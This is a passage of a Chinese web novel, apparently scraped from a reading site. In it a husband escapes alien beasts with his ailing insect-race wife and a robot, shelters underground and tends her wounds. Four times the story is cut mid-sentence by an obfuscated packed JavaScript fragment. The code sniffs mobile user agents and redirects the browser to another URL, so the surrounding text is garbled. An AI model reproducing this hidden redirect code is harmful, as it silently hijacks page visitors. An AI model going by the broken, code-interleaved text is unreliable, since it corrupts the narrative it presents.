他们匆忙跑过一条走廊,正打算下楼梯时,却齐齐住了脚——前方正匍匐着一大群异兽,看样子已经守株待兔多时,正朝着他们龇牙咧嘴,蠢蠢欲动。 后方的异兽还在嗷嗷叫着紧追不舍,前后夹击,这下是真的无路可逃。 就在这时,机器人头顶的猫咪骤然跳到窗台上,一爪子拍碎窗玻璃,飞身跃下。 机器人这回终于跟上了主人的节奏,果断道:“跳窗!” 它一手撑起胖胖的身体,短腿在空中轻轻一甩,就像下汤圆一样干脆利落地掉了下去,剩下没说完的话还在窗外回响:“阁下放心跳,我在外面接住你们!” 伊洛恩看着窗外这个高度,满脑袋问号。 但是下一秒,上下两边的异兽同时向他扑来,口腔的腥臭味近在咫尺! 伊洛恩也顾不得那么多了。他踉跄爬上窗台,将诗因改为搂在胸前,紧紧抱住,双腿一蹬,飞离墙面的脚尖和异兽们伸出的爪子仅仅毫厘之差,然后,猛地下坠—— 诗因的长发如海藻般扬至半空,又在下一秒骤然下落,像厚实的落雪一样盖了伊洛恩满头满身。 原本悬浮在半空接应他们的机器人发出一声惨叫,被他们的重量压得差点坠机,像溺水的人一样在空中胡乱扑腾手脚:“救命好重重重重……” 好在最初的势头过去后,机器人悬浮的动力最终还是中和了他们俩下坠的重力,能够做到在空中平缓下沉。 病院内的异兽们挤在窗口张望片刻,终于发出一声不甘愿的怒吼,纷纷拍碎面前的玻璃、甚至直接暴力捅破墙面,朝着他们的方向扑了过来! “喵!” 早已落地的猫咪回头看见这一幕,没有丝毫犹豫立刻折返,在石块树枝上几个跳跃借力,一气跃至半空,毛茸茸的白色身体像是一枚即将投入乌云的小炮弹,爪爪弹出,正面迎击面前密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350091|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密麻麻的漆黑异兽! “吼——” 首当其冲的异兽朝它龇牙恐吓,前爪一挥就想把它拍掉。猫咪却顺势在它伸出的爪子上借力腾跃,朝那颗丑陋的大脑袋重重一踹,两只脚爪不偏不倚,正中异兽最脆弱的双目! 异兽的吼叫顿时变了调,可是还没等它开始挣扎,猫咪就用大尾巴掸了一记它的鼻尖,迅速跳去了另一只异兽头上。 这一切仅仅发生在瞬息之间,小小的猫咪动作行云流水,流星一般在黑沉沉的异兽群中跳跃翻转,所过之处猫毛纷飞惨叫不断。 而此时恰好一阵风迎面吹来,后排尚且来不及领教猫爪厉害的异兽们在半空中齐齐露出了呆滞的神情,然后不约而同地身体抽搐,张大嘴巴,深深地吸气: “阿阿阿——阿嚏!” 狂风大作,喷嚏声和异兽倒栽进地里的噗噗声此起彼伏,伊洛恩靠着机器人顺利着陆之后没有丝毫耽搁,就地一滚再次背起诗因,起身就跟着机器人狂奔。 猫咪在他们身后且战且退,在异兽的脑袋上如履平地,来去自如,尖锐的爪子每换一个落脚点,都必定能引发一道不合群的惨叫声。 但耐不住循着气味追来的异兽实在太多,他们这边动静太大,几乎引来了全部的异兽大军,天空中又不断有新的怪物降落,源源不断地加入战局,铺天盖地,犹如蝗虫过境。 猫咪四爪难敌几百条腿,应付得越来越吃力。好几次险些被大爪子扯住了尾巴,猫毛乱飞,发出“咪——咪——”的尖叫。 伊洛恩跑得肺都快炸了:“还有多久才到?” 机器人头都不回,抓狂道:“马上,马上就到!前面就是了!” 正前方一处开阔地带,鼓着一个不太显眼的小土包。所幸这里一直没什么活物,所以没有异兽盘踞。 机器人三两步跳上土包,脚底弹出清洁毛刷,清扫功能全开——一时间黄土带着泥沙如旋风般飞起,仿佛凭空卷起沙尘暴,连站得近的伊洛恩都差点被波及,一口气没缓过来,呛得连连咳嗽。 能见度瞬间降到最低,同时也阻挠了追来的异兽们的脚步。 土层拨开,露出了一道坚固的、几乎和环境完全融为一体的黄色金属门。机器人一秒解锁验证,砰一声拉开门。里面安安静静,洞口幽深,黑黢黢一片。 它拽来伊洛恩,先一脚连他带诗因一起送了下去,然后自己也跟着扑通一声跳入。 猫咪敏捷地逃出重重包围,在圆形大门即将完全合上的前一秒,幽灵一般闪身穿梭,跟着一道落进洞口。 咔哒。大门完全关闭。飞起的黄尘纷纷扬扬下落,遮盖地表。这里又回到了最初的样子,仿佛无事发生。 而平均视力严重下降的异兽们循着味道过来,在这里走来走去,趴在地上大眼瞪小眼,不信邪地刨了半天,可就是怎么也找不到食物的踪迹了。 呜呜,它们的饭饭! 15. 洗猫猫 漆黑一片的地下室中,忽然亮起了一盏昏黄的壁灯。机器人拍拍手,说:“终于安全咯。” 它的身后,伊洛恩和诗因双双瘫倒在地上,一个仰头望天面无表情,一个死鱼一样躺着只剩喘气的份儿。猫咪则站在一旁,瞅瞅自己身上所剩无几还灰不溜秋的毛毛,眼神如死,连舔一下的动力都没有了。 它完了,它不是全宇宙最可爱的小猫咪了。 这场仗打得它颜值尽失,血亏。 上面的门板时不时传来一阵异兽抓挠和敲击的杂音,像是豆大的雨滴噼里啪啦砸在窗玻璃上,声音闷闷的,隔着一层阻碍,却又好像随时能将它撕碎。 机器人抬起头默默估算着,听见伊洛恩有气无力地问:“这些怪物是从哪里来的?” “应该是从外太空来的。”小美分析道,“第五星系本来就毗邻未知星域,经常会遭到异兽和其他宇宙生物的骚扰。不过有边境巡逻军在,一般不会出现这么大规模的骚乱。看来军队陷入麻烦了呢。” 伊洛恩眼里亮起了一点期盼:“那军队会来赶走异兽吗?” “噢,这得看情况。”小美抬头望天,“如果这个星球上的异兽太多,又没有传出求救信号的话,那他们大概率会选择直接炸毁这个星球。” 伊洛恩:“……”还真是硬核的处理方式啊。 他转而不抱希望地问:这扇门能撑多久?” 机器人回答:“门的防御力不是问题,问题是这些异兽会不会死脑筋地认为我们藏在下面,集中力量持续破坏土层。” “然后它们会钻下来吗?” “那倒不一定,但有可能会损毁各种管道……像是通风口、电路和水管,让我们失去氧气、水源和能源供应。” 这实在不是一个好消息,机器人原地转了几圈,看上去也有些发愁,但还是宽慰道:“不过没关系,只要主人能从衰亡期中恢复,我们随时可以杀出去,把那些家伙打得屁滚尿流,重新夺回总控制台!阁下,主人的身体就只能指望您啦,您一定要振作起来啊!” 伊洛恩像只乌龟一样趴在地上,也不知道听见了没有。 机器人自言自语:“好吧,那么我先来为您检查一下这里的食物储备——毕竟您要和主人做那么多事情,还是需要一点能量补充的……” 它说着,滴溜溜地跑远了。 空气陷入一片沉寂。 诗因说不了话,伊洛恩又不知道该说什么。他们俩现在的关系着实有些微妙,虽说是新婚配偶,但是对彼此毫不了解,甚至一开始诗因还对伊洛恩单方面表示过讨厌。 但要说形同陌路,刚刚才共患难一回,一直互相帮扶着走到这里,怎么想似乎都不至于关系恶劣。 不上不下,不尴不尬。相处时间太短,根本不足以谈论感情。 伊洛恩心想,他们之间,大概仅有一点儿相濡以沫的恩义——因为被困在同一块水洼,所以不得不依靠着彼此,支撑着活下去。 衰亡期…… 如果他真的帮诗因度过了衰亡期,那么诗因接下来一辈子都得和他绑在一起了。 可是如果不这样做,他们很快就会死在这里。 事情怎么会走到这个地步? 他回想起在飞船上看到的那些画面,关于“津液交换”或者雌虫衰亡期的种种说明,脸色一阵青一阵白,最后闭上了眼睛。 只有这一条路了吗? 左右为难,心乱如麻,伊洛恩想得头痛欲裂,闭上眼,暂时先平复了一下呼吸。 一定还有其他的办法,先冷静一下。 这间地下室并不大,比起所谓的防御工程,更像是一个临时补给站,走廊两侧一共有三个房间,分别是医务室,仓库和卧室。 房间里大多空空如也,好在基本的家具还算齐全。机器人把医务室的每格抽屉都拉出来瞧了一眼,居然真找到了几管未开封的营养液,算是意外之喜。 这是虫族社会中最实用也是最常见的食物,便宜大碗,易于携带,几乎不会过期变质,而且一瓶就能管饱一两天。军队外出作战时,营养液是最基础也是最重要的“粮草”,每一名军雌都无比熟悉它们的味道。 它抱着营养液回来,兴冲冲地说:“好消息,阁下!我找到了好几瓶营养液,大概足够吃一星期啦!” 它说完,见伊洛恩没有反应,又拨了拨他脑袋后面的小揪揪,问:“阁下是饿了吗?要不要先吃一点?” 伊洛恩在地上翻了个面,有气无力地说:“谢谢……暂时不用,让我先缓缓。” 他现在感觉喉咙里全是血和沙子,能有胃口才奇怪。 机器人遗憾地说:“好吧,那等您饿了再说。” 它把那几瓶营养液放回去,又过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350092|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来蹲在地上提醒道:“阁下,里面有张床,躺起来会舒服很多,您要不要和主人过去休息呀?” 伊洛恩神情凝固了一秒,然后斟酌着,慢慢开口:“谢谢,比起这个——我想我们应该先洗个澡。现在有水吗?” 这也算是一件要事。他和诗因一路摸爬滚打磕磕碰碰,现在就像是从壕沟里爬出来的一双难民,灰头土脸的。如果有条件的话,还是稍微清洗一下会比较好。 小美肯定地点头:“有的哦!医务室的水管直连海水,淡水净化设备也还能用,水源充足,只要管道不被破坏,想用多少都可以,阁下请放心。” 伊洛恩闻言更加不放心了,他萎靡地说:“那我们还是赶紧去洗吧。” “好哦!那小美就先去为您准备床铺啦。” 小美走了,伊洛恩又在地上躺了一会才艰难地爬起来,他揉了揉困顿的眼睛,准备带诗因去洗澡,结果刚一抬头,就猝不及防地在墙角看到了一只几乎秃了的、脏兮兮的小猫咪。 猫咪:“……” 它瞪大眼睛,所剩无几的毛毛嘭一下全炸开了。 糟糕!丑丑的样子被发现了! 猫咪不等伊洛恩反应,嗖一声窜进了黑暗之中,身形瞬间消失不见。 伊洛恩还以为是自己眼花了,好一会才迟疑道:“……诗因?那是你……的精神体吗?” 身边的雌虫紧闭双眼,装死。 那么狼狈的小猫咪怎么可能会是他。 伊洛恩毫无所觉,他魂不守舍:“怎么掉了那么多毛,是因为……” 他的大脑选择性跳过了衰亡期这个话题,想起逃亡路上听见的猫咪惨叫,心里顿时又有些酸疼。 他低头挑开诗因头发上的小块泥巴,见诗因脸色不好,也不知道该怎么安慰,只能问:“要不要也给精神体洗一下?” 他转念一想,又有点担心,“不知道会不会把剩下的毛毛也洗掉了……” 诗因:“……” 这笨蛋,怎么哪壶不开提哪壶! 伊洛恩得不到他的反应,只能干巴巴地自说自话:“那就过一会再洗吧。” 他看着诗因灰扑扑的手脚和脸,心想,先把这只大猫猫洗干净再说。 他搂住诗因的肩膀和膝弯,使了点力气,一把将自家蔫巴巴的雌虫抱了起来,摇摇晃晃地朝医务室走去。 16. 汗 身体腾空的瞬间,诗因下意识抖了一下,察觉到他踉跄的脚步,又不敢再动,只能全身僵硬地缩在他怀里,眼神复杂。 医务室里有张老旧的行军床,伊洛恩让诗因在上面躺好,然后打了一盆水,先给他洗头发。长长的头发一浸到水中就浮起一层灰,发丝间甚至还粘着枯枝草叶,可见一路上扫了不少地,不要说冰雪一般的光泽,就连原本的颜色都快没有了。 条件简陋,伊洛恩只能多过几遍水,尽量冲掉脏污和杂物,让白发恢复干净清爽。 洗头发的过程十分平和,诗因靠在床沿,伊洛恩则蹲在地上搓盆里的头发。头顶时不时传来异兽砰砰砰的敲击声和抓挠声,隐约还能听到一点吼叫,室内只有水声哗哗,更衬托得十分静谧。 仿佛是在狂风暴雨之中暂时栖居的一座木屋,屋顶电闪雷鸣,摇摇欲坠,而他们缩在屋檐下,看着窗外枝叶飘摇,已然是两个世界。 他们两个虽然挨得近,但还隔着一点距离。昏黄的壁灯将他们的影子拓印在另一面墙上,两个硕大的黑影重叠在一起,巧妙地化开了中间的那段空隙。 诗因一直盯着那面墙看,金色的眸子被闪动的灯光映照得飘忽不定,嘴唇微微抿着,不知道在想什么。 头发洗完,伊洛恩没找到毛巾,干脆把自己外套撕了,用干净的内侧帮他擦干水分,又妥帖地包好,在头上盘成一只沉重的结。诗因被压得脑袋微微下沉,下巴几乎埋进了领口的蕾丝边里,看上去更像一只人偶娃娃了。 伊洛恩低声解释说:“这样干得快。” 他稳了稳那条发巾,又说:“这里没有毛巾,拿你的衣服来给你擦身,好不好?” 诗因说不出话,但是从细微的表情中可以看出他并不十分赞同这个建议,不过还是什么都没说,任伊洛恩一颗颗解开了他衬衣的扣子,等着瞧他的反应。 果然,衣服一打开,伊洛恩就愣住了。 精致密封的衣裳之下,内里的身体却显得有些清瘦,只能依稀看到往日的肌肉轮廓,苍白皮肤上疤痕交错,手臂上青紫一片,后背更是鲜血淋漓,内衬早已经被染得殷红斑驳,只是布料厚重,从外面看不出什么异样来。 他难以置信,声音禁不住有点抖:“他们……怎么能这样对你?” 诗因看着他,没有吭声,神态却是举重若轻的,好像在说:我就说这身衣服不能用吧。 他是不怎么把这样的伤势放在心上的,如果不是意外进入衰亡期,他根本不会受伤,这种程度的伤势也很快就会恢复。 但见到伊洛恩神情难过,诗因似乎又有些后悔让他看到这样的场面,长眉蹙起,心里不太是滋味。 真是个没见过世面的笨蛋,连这种伤势也会被吓哭吗。 伊洛恩静了一会,然后脱了自己的身上的背心,放进盆里打湿,哑声说:“将就用吧。” 上衣浸了水,又被淅淅沥沥地拧到微湿,温热的手指捏住顶端,一点一点湿润着后背处黏住衬衣的血痂,然后将那片布料轻轻揭下来。 白皙的皮肤接触到湿润的布巾,雌虫凝固的血液和雄虫残留在衣服上的汗液开始发生微妙的化学反应,犹如一阵电流窜入体内,激得诗因微微一抖。 他嘴唇微张,发出一声低不可闻的痛哼,然后倏地瞪大了眼睛。 伊洛恩察觉到异样,手上动作不由得更轻了些,担忧道:“怎么了,还是很痛吗?” 他小心翼翼地移动着布巾,如同蜻蜓点水般,慢慢地让伤口处的血液融化,等到衬衫布料和血痂都完全柔软了,再极轻地将它们缓慢分开。 接触面变小,瞬间的刺激化成了小股电流,一下一下,像是蚂蚁在啃噬肢体,细微的酸麻和痛意被无尽地拉长,仿佛永无止境。 诗因一双长眉不自觉地拧紧,咬紧牙关,手指压在床单上,不知不觉竟扣出了几道浅浅的皱褶。 怎么回事…… 他的身体以前不是这样的。 他的手沾过雄虫的眼泪和血,那时候他心硬如铁,对任何哭泣和求饶都无动于衷,根本不会出现这种尴尬的反应! 他很想用力咬住自己的舌头,让自己清醒一些,可偏偏又做不到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350093|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可恶,可恶,烦死了! 身体的异常反应令他措手不及,诗因窘迫又心慌,甚至于有些恼羞成怒,可是浑身无力,又根本发不出脾气,只能抿紧嘴唇,闭上了眼睛。 这是完全陌生的触感,异于鞭笞和肉搏带来的直截了当的痛楚,不干脆,不利落,甚至是暧昧的,含蓄地笼罩着一种欲语还休的亲昵。 可偏偏又如此鲜明,牢牢地牵扯着他所有的感官和神经,每一根末梢都在同频共振,过电一般战栗。 像是干旱的沙漠地带飘来了一阵绵绵细雨,微凉的雨丝落地就被蒸发成水汽,炽热的沙地为这瞬间的降温惊骇得翻天覆地,可又忍不住渴求更多。 越是贴着水,越是干渴。 又渴,又恐惧这种变化。 仿佛降落的雨水才是烈火,在灼烧他的心。 伊洛恩心如止水,他像修复一件精美的瓷器一样,轻柔地为每一块碎片清扫灰尘,抹匀胶水,一丝不苟地将它们拼为原本的模样。 等到衬衣完完全全离开诗因伤痕累累的脊背,他才松了口气,回过神来时,已经满头大汗。 他去打了一盆新的水,准备为诗因再清理一遍背部。 冲过凉水的手掌仍然带着温热,他托住诗因的腋下,想让他从侧躺改为平躺,结果手才刚刚放上去,诗因就仿佛像被什么东西扎了一般,猛然一抖! 贴着身体的手掌瞬间被弹开,好像被一条垂死挣扎的鱼甩了尾巴,他反应剧烈,把伊洛恩也吓了一跳,倏地仰起头,惊魂未定地问:“怎么了?” 就是这一抬头的功夫,伊洛恩下巴上的一滴汗水顺势滴落,好巧不巧,正正落在诗因的腰侧,再循着惯性轻轻滚动,从脊背上蜿蜒而过,直到终于滑进了一颗圆润的腰窝里,微微打了一个旋儿,停住不动了。 那一点凹陷不住颤抖,最终却还是将它稳稳地盛住。 一汪小小的水洼映着昏黄光线,仿佛酿成了醇厚的一滴酒液,晃动着光晕。 诗因像是被什么东西烫了似的,终于还是没能忍住,唇间溢出了一声几不可闻的呜咽。 17. 衬衫 这下动静太大,伊洛恩手上动作僵住,眼里都露出了一点错愕。 但他也没想到别的地方去,还以为是自己手上带了静电,不小心把诗因给打到了,顿时精神紧绷,紧张得手足无措:“很难受吗?是不是碰到你伤口了……对不起,对不起,我……我换个地方……” 他想用毛巾去给诗因擦擦脸,这次他完全不敢用力,结果却依旧和刚才一模一样,指尖才感觉到对方皮肤的触感,就被剧烈颤抖的身体猛然抖开,反应简直比触电还激烈。 背对着他的方向,诗因差点咬破了嘴唇。 太…… 太奇怪了…… 雄虫的手指和出了细汗的皮肤甫一接触,就像是小块的钠落进了纯水中,激烈的化学反应立刻引爆了身体的条件反射,让他无法自抑地浑身颤抖,呼吸紊乱,连小腿都开始抽搐。 从背后看过去,他就像是一只受了莫大惊吓的猫咪,偏偏又动弹不得,只能强忍着恐惧带来的折磨,缩着爪子颤颤巍巍,可怜得不得了。 伊洛恩顿时不敢再动了,他小心翼翼地收回手,看了看自己的指尖,然后背在身后,在裤子上擦了两下,目光有些茫然。 静电有这么厉害吗? 他不知道诗因是怎么了,之前明明都还好好的,洗头和清理伤口的时候诗因明明都很配合,为什么忽然变成这样? 眼下事实很明显,诗因的身体排斥他的碰触。 他一时说不上来心里是什么滋味,失落和困惑是有的,不过也不算太多,更多的是有些为难和担忧。如果诗因这样强烈地抵触他的靠近,那么他接下来也不方便再帮诗因擦身了。 门口处又响起一阵刺耳的抓挠声,异兽锋利的爪子与坚固的金属门用力摩擦,听得叫人难受至极。 伊洛恩站在原地静了片刻,才低声说:“我去找小美过来。” 他走了之后,诗因才张开嘴唇,狠狠地喘了几大口气,额角沁出一层薄汗,在暗处泛着清凌凌的水色。 卧室内,小美对他俩的进展一无所知,还在那里高高兴兴地哼着小调铺床单。它举起小短手,哗啦一扬,军绿色的床单被抖得四脚朝天,又慢悠悠地落回床面,齐齐整整,干干净净。 小美躬着胖胖的身体,一边用小手手拍掉几不可见的一点褶皱,一边碎碎念:“虽然待会你们都是要被滚得乱七八糟的,但是仪式感还是要有!这可是幸福生活的一大秘诀!第一次必须要留下好印象,这对于以后的相处非常重要——只有美好的回忆才能让人念念不忘,一直一直充满干劲呢!” “而且他们已经在一起洗澡了!脱光光!坦诚相见!耶!” “情到浓时一滚就倒,这种时候一张及时出现的柔软舒适的大床是多么重要!” 它自言自语,也能讲得兴高采烈,心潮澎湃,用小拳拳锤了一下自己的胸口,激动地原地转圈圈:“啊啊啊,这样衰亡期结束之后,说不定还会产生爱的结晶,一个超级可爱的小少爷!” 它自个儿转了一会,目光重新变得坚定,握紧了双拳:“主人和阁下的幸福,就由小美来守护!” 说完,充满使命感的小美抱起大花被子,砰一声放在了床上。 伊洛恩进入房间时,就看到机器人正在兢兢业业地套着被子,被套和被芯明显之前是抖过的,室内飘满了浮动的尘埃。他刚想说话,就打了个喷嚏,小美听到声音,立刻朝他看了过来。 “阁下!”小美的语气听起来迫不及待,“你们洗好了吗?是不是准备来睡觉了呀?” 伊洛恩不想打击它这份期待,却又不得不陈述事实,硬着头皮说:“还没有……我们遇到了一点问题。” “喔喔!是哪方面的问题呀?” 伊洛恩也不知道该怎么解释,他靠着门框,头疼地说:“不如我们换一换,你去帮诗因洗澡,我来铺床吧,这样也许会快一些。” 小美闻言立即把被子一丢,震声道:“这怎么可以呢!” 伊洛恩:? 为什么不可以? 小美见他诧异,转眼又换了一副语气,跑过来推着伊洛恩往外走,嘀嘀咕咕道:“哎呀,阁下怎么能来做铺床这种小事,交给我就好了呀。走吧,走吧,你们的问题最要紧,我去看看怎么解决。” 伊洛恩被迫被他推出门:“……好吧。” 回到医务室,诗因还是那副安安静静的样子,光着上身侧躺在床上,肩背随着呼吸轻微地起伏。乍一看风平浪静,好像没什么问题。 小美绕着床看了一圈,说:“一切正常,阁下是在哪里遇到麻烦了呢?” 伊洛恩挠了挠头,有些后悔刚刚没在卧室和机器人说清楚,现在站在诗因跟前,说什么都有点尴尬。 他支吾道:“我不知道,也许是我手指头太糙了,碰到他的时候……他就会痛。” “痛?” “是,他会发抖,好像有点抽筋——抖得很厉害。” 诗因紧抿嘴唇,听着他的陈述,露在外面的耳朵开始慢慢变红。 小美听了也大惑不解:“怎么会呢,主人明明不怕痛的呀。” 它说着,用钳子手戳了戳诗因的腰。诗因就像个毫无知觉的布娃娃一样,直接被他戳得趴了下去,整张脸都摔进了床垫里,但是一点反应也没有。 诗因:“……” 伊洛恩:“……但是我碰了,他就会痛。” 他为了证明自己没撒谎,硬着头皮用手指头轻轻碰了一下诗因的肩。果然,被他碰触的诗因又变成了一块果冻,碰一下抖两下,再碰一下,再抖两下,屡试不爽。 机器人猫着腰仔细观察了一会,终于恍然大悟:“噢——这不是在痛啦!是阁下手上的汗在帮主人修复身体,所以主人才会有这样的反应呢!” 伊洛恩呆了呆:“……啊?” 小美给他解释:“就像伤口消毒的时候,会感觉非常非常痛,而愈合的时候则又麻又痒。主人现在处于衰亡期,身体机能衰退,伤口已经没有办法自我愈合了,这时候接触到雄虫的汗液,局部新陈代谢加速,就像同时进行消毒和加速愈合一样——” 机器人捏着下巴想了想,“也不能说完全不痛,不过是包含了痛觉在内的复杂感受呢。” 伊洛恩想说,之前他也摸过诗因的手,可诗因就没有这么大反应,但是仔细回忆,那个时候实验室里冷冰冰的,他和诗因好像都没出汗,手上干燥,而不是像现在这样…… 他看见诗因闪烁着细微反光的一双蝴蝶骨,不知道为什么,脸上忽然开始微微发热。 小美还在一旁义正辞严:“所以您可不能停呀,要多摸摸主人,他才好得快!您看,主人身上还有好多伤,都要您摸摸才行!” 伊洛恩:“……” 小美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350094|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕到他屁股后面,用手把他往前推了推,催促道:“快去,快去。” 伊洛恩被他几步推到床前,但是身体僵硬,和诗因就像两块同性相斥的磁铁一样,怎么也挨不到一起。 他尴尬到头上冷汗直流:“等一下……” 小美真是恨铁不成钢:“您在犹豫什么呀?有什么不好意思的?这不都是为了挽救主人和您自己的生命吗!我们可没多少时间了!” 说着,仿佛在响应它的话一般,门口处又传来一阵刺耳的吱嘎声,很明显,那些异兽根本没有放弃的想法,它们盘踞在他们头顶,仍然在步步逼近。 伊洛恩心里一团乱麻。他想说自己和诗因的关系好不容易才有所缓和,也没有好到可以随便摸摸的地步,如果因为衰亡期和外头那堆怪物而对诗因一通乱来,就算最后成功活下来了,以后又该如何相处? 双方都会很难堪吧。 怪物们闹出的噪音不断,伊洛恩头昏脑涨,想去帮忙捂一捂诗因的耳朵,只是手刚刚放到他的脸侧,感受到的却是一阵隐忍的、带着热意的颤抖。 他微微愕然,下意识收回了手,仔细地打量诗因的后脑。雌虫整张脸都埋在被褥里,只露出了一双红珊瑚似的的耳朵,肩膀因急促的呼吸起伏得有些快,背后的肌肉绷得紧紧的,冒着虚汗。 诗因……在害怕吗? 还是因为他畏缩不前的态度,感到忐忑和焦虑? 伊洛恩心中一惊,他强迫自己镇定下来。 他之所以为衰亡期的事情进退两难,是因为顾忌诗因的感受;可如果他的这种做法伤害到了诗因的感情,那岂不是本末倒置? 而且,如果仅仅只是汗液的接触就有这种效果的话,或许他们应该可以想想其他的解决办法…… 小美还在念念叨叨个不停,伊洛恩却不再理会,他径直解开自己衬衣上的纽扣,迅速将最后一件上衣脱了下来,露出大片结实的肩背。 小美眼都直了,嘴里的话顿时卡带:“您您您您您您……” “你的主人情况危急。”伊洛恩打定了主意,便不再容易动摇,他的声音恢复了镇定,“那么就更应该循序渐进,让他有一个缓冲的时间,一下子展开太多的亲密接触,恐怕过犹不及。” 说着,他摊开自己的衬衫,轻轻盖在诗因的身上。 带着体温和轻微汗味的衬衫落在光洁的背部,从脖颈一直遮盖到屁股,就像突然覆上了一张暖融融的电热毯,整片僵冷的后背一阵麻痒刺痛,诗因咬牙忍耐,呼吸的频率又快了几分。 然而等最初的不适过后,那种感觉却在慢慢减轻,慢慢变得容易接受。电流四窜,却不至于让他毫无防备。伴随着暖意逐渐在体内苏醒,他原本绷紧的身体也不由得稍稍放松。 细密的痛痒感让脖子稍微有了点力气,诗因努力侧过脸来,露出一只眼睛,神色复杂地朝蹲在床边的雄虫看了一眼,眸子里还蒙着一层水雾,模糊闪动着微光。 伊洛恩轻轻拈起一缕他散落在眼前的发丝,低声问:“会好些吗?” 诗因的眼睛扑闪扑闪,蝶翼一样的睫毛勾连他的指尖。 伊洛恩的手指却缩了回去,在他面前团成一只并不坚定的拳头。他松了口气,面上露出笑容:“那就好。” 小美在旁边傻愣愣地看着,好半天才说出一句话:“……我还是帮你们把床搬过来吧。” 18. 白年糕 床铺搬来搬去容易乱,而且门框大小有限,回头把床一折,好好的床单又白铺了。 伊洛恩觉得没必要那么麻烦。他自觉为他和诗因这种不尴不尬的关系找到了一条出路,身心都十分轻快,于是笑着婉拒了小美的好意,说:“没关系,等我们洗完了,我就带诗因过去休息。你先回去继续整理吧。” 小美傻乎乎地点头:“哦,好、好的。那么,小美等着你们哦。” 它依依不舍地走了。 医务室内恢复安静,又只剩下外面不间断的白噪音,忽远忽近。诗因趴在床上,身体都缩在他的衬衫里,还在用那只眼睛悄悄觑他,观察他的神情。 伊洛恩眉眼都放松了不少,问题解决了,他就继续刚才没干完的活,继续帮诗因除去剩余的衣物,给他擦身体。 诗因歪了下头,把脸埋进了衬衫里。 有点难为情。 伊洛恩却会错了意,以为是自己不小心又弄痛他了,低声安慰道:“忍一下。” 他蹲在地上,特地把自己的背心在水里多漂了好几遍,拎出来之后,也没有拧得太干,水分饱和,在诗因的身上拖出一条长长的湿润水迹。 伊洛恩像是在清理一只精致的人偶一样,勤勤恳恳,兢兢业业,连每只脚指头都擦得干干净净,让指甲盖泛出莹润光泽。他出于习惯,朝上面轻轻吹了口气,仿佛是在吹掉器皿上最后的几粒微尘,使它一尘不染。 那几只脚指头微微一动,紧紧蜷了起来。 伊洛恩忽然感觉自己的行为好像又有点不恰当,他干咳两声,试图让气氛不那么尴尬,起身收了盆,没话找话:“那,要不我也去冲个凉吧。” 脚的主人这才稍稍放松,只拿视线偷偷黏在他身后。 伊洛恩给自己洗澡就没那么多顾忌了。条件简陋,他光着上半身,双手撑着水池边缘,拧开水龙头,任冷水哗哗流过头皮和下巴。 他双手搓了一把脸,又抓了几下头发,湿淋淋的背心被他三两下揉成一条毛巾,擦过线条流畅的肩背,三两点水珠顺着背脊一路下滑,很快就把裤腰晕湿了一片。 在他背后,金色的眼睛聚精会神地盯着他的背影。模糊的视野中,隐约可以见到雄虫宽阔的肩背横亘着青紫的痕迹,有大块的淤青,细小的血痕,只是即便他把眼眸眯成一条细缝,也实在看不清那些伤口的数量。 原来他是背负着这样的伤,带自己逃了那么辛苦的一段路。 可是伊洛恩只问他难不难受、疼不疼,从来不说自己受没受伤,痛不痛。 诗因的目光像是一星微弱的烛火,在思绪中摇摇晃晃,明明灭灭。 他是笨蛋吗? 笨得连受伤了也不知道? 他闭上眼睛,听见雄虫那边的水声和自己体内的心跳声混杂在一起,鼻尖萦绕着衬衫上雄虫的气味和他自己的体味,脑海中晃动着雄虫的轮廓,好像身体以外还有一个看不见的部位和感官,已经在空气中隐秘地与对方粘连。 诗因讨厌在别人面前示弱,他是生活在血腥丛林中的野兽,他的地位、地盘、猎物,全都靠无休止的争斗得来,只有比任何对手都强大,他才能获得立足之地,一旦暴露了弱点,就会像之前闹出丑闻一样——墙倒众人推,死无葬身之地。 可是眼下他面对的不是虎视眈眈的敌人,而是已经满身伤痕,还在给予他温柔舔舐的傻瓜。 既然是傻瓜,那或许向他展露自己的脆弱也没关系。 